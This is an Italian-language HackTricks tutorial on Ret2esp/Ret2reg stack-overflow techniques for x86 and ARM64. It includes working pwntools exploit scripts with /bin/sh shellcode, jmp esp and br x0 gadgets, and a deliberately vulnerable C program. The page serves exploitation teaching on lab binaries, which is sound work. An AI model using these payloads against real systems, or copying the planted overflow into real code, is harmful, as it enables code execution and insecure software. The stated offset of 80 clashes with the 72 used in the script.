Ret2esp / Ret2reg

Reading time: 7 minutes

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Ret2esp

Poiché l'ESP (Stack Pointer) punta sempre alla cima dello stack, questa tecnica prevede di sostituire l'EIP (Instruction Pointer) con l'indirizzo di un'istruzione jmp esp o call esp. Facendo ciò, il shellcode viene posizionato subito dopo l'EIP sovrascritto. Quando viene eseguita l'istruzione ret, l'ESP punta all'indirizzo successivo, precisamente dove è memorizzato il shellcode.

Se Address Space Layout Randomization (ASLR) non è abilitato in Windows o Linux, è possibile utilizzare le istruzioni jmp esp o call esp trovate nelle librerie condivise. Tuttavia, con ASLR attivo, potrebbe essere necessario cercare all'interno del programma vulnerabile stesso per queste istruzioni (e potrebbe essere necessario sconfiggere PIE).

Inoltre, essere in grado di posizionare il shellcode dopo la corruzione dell'EIP, piuttosto che nel mezzo dello stack, garantisce che eventuali istruzioni push o pop eseguite durante l'operazione della funzione non interferiscano con il shellcode. Questa interferenza potrebbe verificarsi se il shellcode fosse posizionato nel mezzo dello stack della funzione.

Mancanza di spazio

Se ti manca spazio per scrivere dopo aver sovrascritto l'RIP (forse solo pochi byte), scrivi un shellcode iniziale jmp come:

armasm
sub rsp, 0x30
jmp rsp

E scrivi il shellcode all'inizio dello stack.

Esempio

Puoi trovare un esempio di questa tecnica in https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp con un exploit finale come:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

Puoi vedere un altro esempio di questa tecnica in https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. C'è un buffer overflow senza NX abilitato, viene utilizzato un gadget per ridurre l'indirizzo di $esp e poi un jmp esp; per saltare al shellcode:

python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

Allo stesso modo, se sappiamo che una funzione restituisce l'indirizzo dove è memorizzato il shellcode, possiamo sfruttare le istruzioni call eax o jmp eax (note come tecnica ret2eax), offrendo un altro metodo per eseguire il nostro shellcode. Proprio come eax, qualsiasi altro registro contenente un indirizzo interessante potrebbe essere utilizzato (ret2reg).

Esempio

Puoi trovare alcuni esempi qui:

ARM64

Ret2sp

In ARM64 non ci sono istruzioni che consentono di saltare al registro SP. Potrebbe essere possibile trovare un gadget che sposta sp in un registro e poi salta a quel registro, ma nella libc della mia kali non sono riuscito a trovare alcun gadget di questo tipo:

bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

L'unico che ho scoperto cambierebbe il valore del registro dove sp è stato copiato prima di saltare a esso (quindi diventerebbe inutile):

Ret2reg

Se un registro ha un indirizzo interessante, è possibile saltarci semplicemente trovando l'istruzione adeguata. Potresti usare qualcosa come:

bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

In ARM64, è x0 che memorizza il valore di ritorno di una funzione, quindi potrebbe essere che x0 memorizzi l'indirizzo di un buffer controllato dall'utente con uno shellcode da eseguire.

Example code:

c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

Controllando la disassemblaggio della funzione, è possibile vedere che l'indirizzo del buffer (vulnerabile a bof e controllato dall'utente) è memorizzato in x0 prima di tornare dal buffer overflow:

È anche possibile trovare il gadget br x0 nella funzione do_stuff:

Utilizzeremo quel gadget per saltarci perché il binario è compilato SENZA PIE. Usando un pattern è possibile vedere che l'offset del buffer overflow è 80, quindi l'exploit sarebbe:

python
from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

warning

Se invece di fgets fosse stato usato qualcosa come read, sarebbe stato possibile bypassare PIE anche sovrascrivendo solo gli ultimi 2 byte dell'indirizzo di ritorno per tornare all'istruzione br x0; senza bisogno di conoscere l'indirizzo completo.
Con fgets non funziona perché aggiunge un byte nullo (0x00) alla fine.

Protezioni

  • NX: Se lo stack non è eseguibile, questo non aiuterà poiché dobbiamo posizionare il shellcode nello stack e saltare per eseguirlo.
  • ASLR & PIE: Questi possono rendere più difficile trovare un'istruzione a cui saltare per esp o qualsiasi altro registro.

Riferimenti

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks